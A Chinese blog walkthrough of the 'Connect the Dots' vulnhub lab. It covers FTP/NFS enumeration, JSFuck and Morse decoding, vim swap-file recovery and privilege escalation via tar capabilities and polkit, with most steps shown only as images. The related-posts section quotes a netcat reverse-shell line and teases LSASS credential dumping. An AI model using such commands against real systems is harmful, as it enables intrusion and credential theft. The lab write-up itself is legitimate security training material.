第十八篇红队笔记-百靶精讲之CONNECT THE DOTS-jsfuck(心脏图)，polkit(权限)，图片隐写，莫尔斯码(._图)

zgcadmin zgcadmin 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 400+累计阅读 399平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄9年
关注
原创 2024-06-08 00:12:45 399 阅读 AI 写同款· GEO 优化 ›
红队笔记（1）：红队与渗透测试 红队整体概念与相关名词的介绍 阅读详情

开始和nmap信息收集

  • ssh端口是7822
    在这里插入图片描述
    在这里插入图片描述

ftp和nfs渗透

  • ftp登陆失败
    在这里插入图片描述
  • nfs
    在这里插入图片描述
  • 发现morris用户
    在这里插入图片描述
  • 密码错误
    在这里插入图片描述

web渗透

在这里插入图片描述

jsfuck解码

  • http://10.0.2.14/mysite/bootstrap.min.cs
    在这里插入图片描述

获得系统立足点

  • ssh登陆
    在这里插入图片描述
  • ftp登陆
    在这里插入图片描述
  • ftp批量下载
    在这里插入图片描述

莫尔斯码解码

在这里插入图片描述

vim断电swp文件读取

  • 继续查看norris用户
    在这里插入图片描述
  • morris用户
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

在这里插入图片描述

tar文件能力取得root flag

  • getcap 查询权限文件
    在这里插入图片描述
  • tar打包/root文件夹
    在这里插入图片描述
  • 发现root的flag
    在这里插入图片描述

Connect the dots渗透总结

  • 搜索文件
    在这里插入图片描述
  • 高权限运行bash时候，也能运行polkit?
  • 临时拥有文件所有者的身份执行polkit
    在这里插入图片描述

其他

关JSFuck加密介绍

  • JSFuck 只使用6种字符 []!()+来书写任何Javascript代码。当然，用这种方式写出来的代码会很长。JSFuck不需要依赖浏览器，也可以在Node.JS上运行。

关于polkit

  • 它的全称是policy key policy
  • 在llinux对于文件权限管理的一套单独的机制

关于systemd-run

  • 临时高权限运行某服务
    在这里插入图片描述
收录于
靶机

当前文章被收录于：

靶机
13 篇文章 1 人学习
订阅专栏 查看详情
标签
#笔记
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
红队笔记3-SickOS1.1打靶流程解法1-穿越Squid代理的CMS渗透（vulnhub） 1.端口扫描：发现存活端口：22 ，3128（squid-http） ，8080，其中squid-http是个代理服务器2.开始访问3128，8080都访问不到，目录扫描也扫描不出结果，根据我们知道squid是个代理服务器，尝试Dirb -p参数，挂代理目录爆破，成功扫出来一些路径。然后浏览器设置代理访问，找到了wolfcms的页面。3.通过浏览器获得wolfcms后台路径，通过弱口令登录后台，寻找后台代码执行和文件上传的位置，构造反弹命令写入代码执行，反弹shell。 阅读详情

相关推荐

「红队笔记」靶机精讲：Prime1 - 信息收集和分析能力的试炼

本文是作者在观看 B 站《红队笔记》后做的一些笔记及相关知识的补充。学渗透特别推荐大家去看。如有侵权，请联系作者，作者看到后会第一时间删除。

m0_73612768的博客 1691

红队笔记-1（主机发现，情报收集，内网信息收集）

文章目录一. Favicon Hash 碰撞（非常好用）二. DNS域传送三. 子域名爆破四. 在线网站 搜索引擎 与 IP 反查五. 开源情报 与 搜索引擎六. whois 与 备案信息七. 真实IP识别 与 指纹识别八. SSL 证书查询 与 敏感目录九. 目标邮箱收集 与 WAF 探测 最近面试遇到很多面试官问信息收集，把以前比较乱的资料的再次整理一遍。 一. Favicon Hash 碰撞（非常好用） 找 favicon 生成hash https://github.com/Viralmaniar

欢迎关注微💌，不定期发布安全运维、甲方视角安全建设、乙方厂商专业安全服务内容。 6143

红队笔记专属-shell备忘录

前言： ​ 建议直接复制粘贴到笔记，或点赞收藏，因为时常会用到，这是整理的一些常见的反向shell和特权提升的笔记文档，红队成员必会！ 最全。 反向shell-备忘录： ​ 通常在获得远程代码执行之后，我们希望获得一些交互式访问—而不是发出单个命令获取单个回显或与 web shell 交互，从实战的意义来讲，反弹shell是非常有必要的，以下将从不同的工具出发， nc listen: nc -nlvp PORT connect: nc -e /bin/sh IP PORT or nc -c sh I

Gamma_lab的博客 4487

红队打靶：ConnectTheDots打靶思路详解（vulnhub）

本文是vulnhub靶机connect the dots的打靶思路详解。这个靶机涉及到的知识点非常多，如果不了解的话可能无法深入探索。涵盖的知识点包括ftp渗透、nfs挂载、目录爆破、jsfuck混淆破解、文件隐写、莫尔斯电码解码、vim读取断电swp文件、getcap查看文件能力、suid提权、polkit利用与pokit权限提升漏洞利用等等。一起努力，渗透还是要实操才能进步！

Bossfrank的博客 1962

红队笔记（2）：信息收集篇（一）

红队，信息收集，被动信息收集，Reconnaissance

qq_51515209的博客 1232

红队笔记-1：W1R3S: 1.0.1打靶流程（vulnhub）

1.主机发现&端口扫描：主机发现目标主机ip：192.168.254.141，发现存活端口:21（tcp）22(ssh) ，80(http)，3306（mysql）

qq_63442530的博客 1929

红队笔记-2：JARBAS打靶流程（vulnhub）

1.主机发现和端口扫描：nmap扫描发现靶机是192.168.200.140，和存活端口22，80，3306，8080。2.80和8080端口：从web角度入手，80端口是web,8080端口是web的后台，对其web先进行目录扫描，发现普通扫扫描没有扫描发现，尝试添加参数扫描-X,扫描后发现access.html文档,通过破解access.html页面的密文获得账号密码，组合账号密码登录后台成功。

qq_63442530的博客 1521

vulnstack&红日靶场5(红队)学习笔记

红日靶场5学习；本次主要练习msf域内psexec横向以及对应相关命令学习。

weixin_53884648的博客 782

红队笔记6-Prime1打靶流程-提权-OpenSSL解密（vulnhub）

本篇文章是根据靶场作者给出的提权通过openssl解密获得saket用户密码，在saket用户sudo -l提权成功，没有使用内核提权，也是作者想让我们学习openssl解密：1.enc运行密码的查找：find 找备份文件->缺少密码时可以通过查找备份文件可能存有密码2.密钥的处理：我们获得密钥，对其进行md5加密（md5sum）和16进制转换(od)3.openssl解密参数构造：查看openssl帮助文档，确定参数。

qq_63442530的博客 1576

HP DL380G9 iLO降级Degrated及存储失败storage Failed报错如何解决？

HP DL380G9 iLO降级（Degrated）及存储失败(storage Failed）报错如何处理？ ©Lander Zhang 专注外企按需IT基础架构运维服务，IT Helpdesk 实战培训践行者https://blog.51cto.com/lander 2018/09/7 7:30 问题描述 某沙特公司搭建的虚拟化环境中有一台ESXi主机报Storage Fialed警告但是仍...

weixin_34226182的博客 4848

VC Spyglass CDC实战：从TCL脚本到SDC约束的完整避坑指南

本文是一份针对数字IC验证工程师的VC Spyglass CDC实战指南。文章详细阐述了从TCL脚本环境搭建、SDC约束编写到典型CDC违规（如SETUP_PORT_UNCONSTRAINED）诊断与修复的完整流程，旨在帮助读者高效避坑，深入理解工具逻辑，从而完成可靠的时钟域交叉验证。

go5gopher的博客 383

红队笔记之渗透测试流程以及各环节技术纲要

渗透测试流程以及技术刚要，技术细节不断完善中，欢迎收藏本文

明光札记 4117

Jenkins Job DSL：用代码管理CI/CD配置的实践指南

Jenkins 是持续集成（CI）领域的经典开源平台，其核心价值在于自动化构建与交付流程。然而传统 UI 配置方式导致配置不可版本化、难以复现、审计困难，严重制约团队规模化协作效率。Job DSL 作为一种声明式配置即代码（IaC）方案，通过 Groovy 脚本驱动 Jenkins 内部 API，实现 Job、View、Folder 等资源的程序化创建与维护，天然支持 Git 版本控制、权限审计与环境一致性保障。它不替代 Pipeline，而是与其协同构成‘流程定义’与‘基础设施定义’双轨体系，显著提升 C

weixin_33744141的博客 518

网络安全学习笔记——红队实战攻防（上）

红队主要复盘总结现有防护系统的不足之处，为后续常态化网络安全防护措施提供优化依据。在日常运维上以实战思想进一步加强安全防护措施，提高整体防守能力。

just do it 1388

IP路由原理、静态路由及动态路由区分

什么是路由 路由是指导IP报文发送的路径信息。 直连路由：目的地所在网络与路由器直接相连。 间接路由：目的地所在网络与路由器非直接相连。 静态路由是由管理员手工配置而生成的路由。 动态路由路由器使用路由协议从其他路由器那里获悉的路由。

weixin_42227328的博客 5470

前导0预测（Leading-Zero Anticipator，LZA）

前导0预测（Leading-Zero Anticipator，LZA） 浮点加法在完成之后会进行尾数规格化移位，而在进行尾数加法时，可以使用前导0预测（Leading-Zero Anticipator，LZA）同时计算移位，前导0预测只发生在一个正数加上一个负数的情况下，电路图如图1所示。 图1 传统LZD算法和LZA算法 1. 基础算法 算法的目标是计算出加法结果序列左边连续0的数量，下文中对...

crw1111111的博客 7379

红队笔记11：pWnOS1.0打靶流程解法2-ssh免密登录-rsa私钥破解-shellshock提权（vulnhub）

私钥爆破的时候其实是利用了特定版本的openssl的漏洞，只有65535种可能的私钥，这才能爆破出来，一般情况是没有这个漏洞的。shellshock漏洞我个人的理解是，cgi文件是一个bash环境文件，通过每一次的http请求cgi文件，都会转换成一次shell调用，其中在http请求包中的UA头中的数据会被cgi文件接收并执行，这也是shellshock利用中的：Attack CGI programs在红队笔记的视频中，文件泄露利用路径（auto_wordlists github上开源的敏感文件路径。

qq_63442530的博客 1162

基于CNN的三相故障识别算法及实现（Matlab）

通过预处理数据、构建CNN模型、训练与评估模型等步骤，我们可以准确快速地识别三相故障。现代电力系统中，三相故障是一种常见的故障情况，可以导致电网中断、设备损坏甚至火灾等严重后果。本文将介绍基于卷积神经网络（CNN）的三相故障识别算法，并提供Matlab源代码实现。首先，将原始信号分为训练集和测试集。然后，对输入信号进行归一化处理，确保数据在合适的范围内。CNN适用于处理二维数据，所以我们可以将输入信号看作是时间序列数据和特征（如电压、电流等）的二维矩阵。在开始之前，我们需要一个包含正常和故障样本的数据集。

学习使你进步。 384

红队linux提权大全笔记（1）

计划任务中如果没有使用绝对路径，那么会搜索path以找到计划任务脚本，而path通过顺序搜索获取脚本，那么我们在正确的path路径的前面的路径添加一个同名的脚本，计划任务就会优先搜索到新添加的脚本。通过下载密钥对库，然后将公钥对生成的密钥对进行比对，因为公钥是公开的，没有立足点也可以获取，所以通常用来打点，而不是提权（看是否是root的公钥）查找特定文件权限：（用于查找具有 SUID 位的文件，SUID 位允许文件以拥有它的帐户的权限级别运行，而不是以运行它的帐户的权限级别运行。

anddddoooo的博客 1526

路径规划 | 图解RRT*算法(附ROS C++/Python/Matlab仿真)

RRT*算法针对传统RRT算法进行了渐进最优改进，在添加节点到搜索树的过程中进行重连选择。本文图解RRT*算法原理，并采用ROS C++、Python、Matlab三种语言实现算法，加深理解

FRIGIDWINTER的博客 9405

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面，电脑运行连游戏界面都一样大小，很怀旧，很真实，（英文版）强烈推荐，很小的文件，很难才找到的。

红队笔记10：pWnOS2.0打靶流程-whatweb指纹识别-searchsploit搜索漏洞利用getshell（vulnhub）

Perl被称为"骆驼"语言。发明perl的Larry Wall就说过：“Perl可能不好看或者不好闻，但是它能完成任务”。Perl是文本处理语言，它最初就是为了这个目的设计的。Perl是网络编程语言，它内置了socket/client-server协议。Perl是系统管理语言，全球网络很多服务器上就运行着它的脚本。很多时候是单行的脚本。Perl是Web脚本编写语言。至今它仍然是最流行的几种web脚本编写语言之一。依次尝试参数貌似把用户名和密码改成a :a了尝试登录。

qq_63442530的博客 1430

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

抓 Windows 密码，这 7 种技术够不够用！

内网渗透中，获取到 Windows 系统权限之后，抓取本地哈希是必不可少的操作，今天分享一款工具，集成了 7 种转储 LSASS 内存的方法，工具地址：运行如图：未提供任何参数运行程序，会要求你输入所要指定的方法，参数为 1-7，功能分别对应：使用解除挂钩技术转储 lsass 内存以注入修改后的 mimikatz 二进制文件。使用解除挂钩技术转储 lsass 内存以使用 MDWD 的直接系统调用注入二进制文件。使用简单的 MiniDumpWriteDump API 转储 lsass 内存。

bigbangbangbang1的博客 1646

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明，包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

假人有限元模型

假人模型，车辆碰撞假人有限元模型，适合做乘员安全的研究者利用

红队笔记-2：JARBAS打靶流程（vulnhub），2024年最新vivoLinux运维面试

最全的Linux教程，Linux从入门到精通。

2401_83974370的博客 483

红队笔记之内网信息搜集技术要点总结

在渗透测试中信息收集的深度与广度以及对关键信息的提取与关联，将影响渗透的质量。本文对整体技术要点进行总结。

明光札记 2760

Jackson 序列化 / 反序列化注解 完整版笔记

Jackson 序列化 / 反序列化注解 完整版笔记

handsome_sai的博客 274
上一篇： htb-window-5-Bastard-php-curl-MS15-051
下一篇： 第十七篇红队笔记-百靶精讲之Narak-cewl(目标字典)-hydra-davtest(检查和上传)-cadaver(webdav)-brainfuck-motd
点赞 4
评论 0
书签 书签 5
zgcadmin
zgcadmin
博客等级 码龄9年 174粉丝 109原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值